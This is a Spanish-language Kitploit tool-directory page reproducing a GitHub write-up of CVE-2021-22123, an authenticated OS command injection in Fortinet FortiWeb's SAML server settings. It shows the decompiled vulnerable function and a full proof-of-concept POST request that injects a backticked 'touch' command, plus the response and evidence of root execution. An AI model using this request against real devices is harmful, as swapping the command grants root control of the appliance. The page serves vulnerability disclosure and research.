Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb Inyección autenticada de comandos del sistema operativo | Kitploit
Herramientas/GitHubGitHub/murataydemir/cve-2021-22123
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb Inyección autenticada de comandos del sistema operativo

Ver Repositorio
63hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2021-22123] Inyección de comandos del sistema operativo autenticada en Fortinet FortiWeb


Hit Counter Platform Badge

La vulnerabilidad de inyección de comandos en la interfaz de administración de FortiWeb puede permitir que un atacante remoto autenticado ejecute comandos arbitrarios en el sistema a través de la página de configuración del servidor SAML. La ejecución de comandos con privilegios máximos resultará en que el atacante obtenga el control total del servidor. Esta es una instancia de CWE-78: Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo y tiene una puntuación base CVSSv3 de 8.7. Esta vulnerabilidad tiene el número CVE-2021-22123, que fue abordada en la página de Fortiguard Lab (FG-IR-20-120)

Básicamente, SAML significa Security Assertion Markup Language y es un estándar abierto basado en XML para transferir datos de identidad entre dos partes: un proveedor de identidad (IdP) y un proveedor de servicios (SP). Está diseñado para garantizar el funcionamiento de un mecanismo de inicio de sesión único (Single Sign-On), que le permite acceder a varios productos de software utilizando un único identificador.

FortiWeb todas las versiones anteriores a 6.3.7 y posteriores son vulnerables a la vulnerabilidad de inyección de comandos del sistema operativo autenticada. La explotación exitosa de esta vulnerabilidad puede llevar a tomar el control completo del dispositivo afectado, con los máximos privilegios posibles. Podrían instalar un shell persistente, software de minería de criptomonedas u otro software malicioso. En el improbable caso de que la interfaz de administración esté expuesta a Internet, podrían usar la plataforma comprometida para acceder a la red afectada más allá de la DMZ.

Un atacante, que primero se autentica en la interfaz de administración del dispositivo FortiWeb, puede introducir comandos utilizando comillas invertidas en el campo name de la página de configuración del servidor SAML. Estos comandos se ejecutan entonces como el usuario root del sistema operativo subyacente. La parte vulnerable del código se ilustra a continuación.

root@kitploit:~
int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

Prueba de concepto (PoC): Se puede utilizar la siguiente solicitud POST para explotar esta vulnerabilidad.

root@kitploit:~
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
root@kitploit:~
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

Finalmente, los resultados del comando 'touch' se pueden ver en la línea de comandos local del dispositivo FortiWeb

root@kitploit:~
/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

Referencias:

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
Descargar herramienta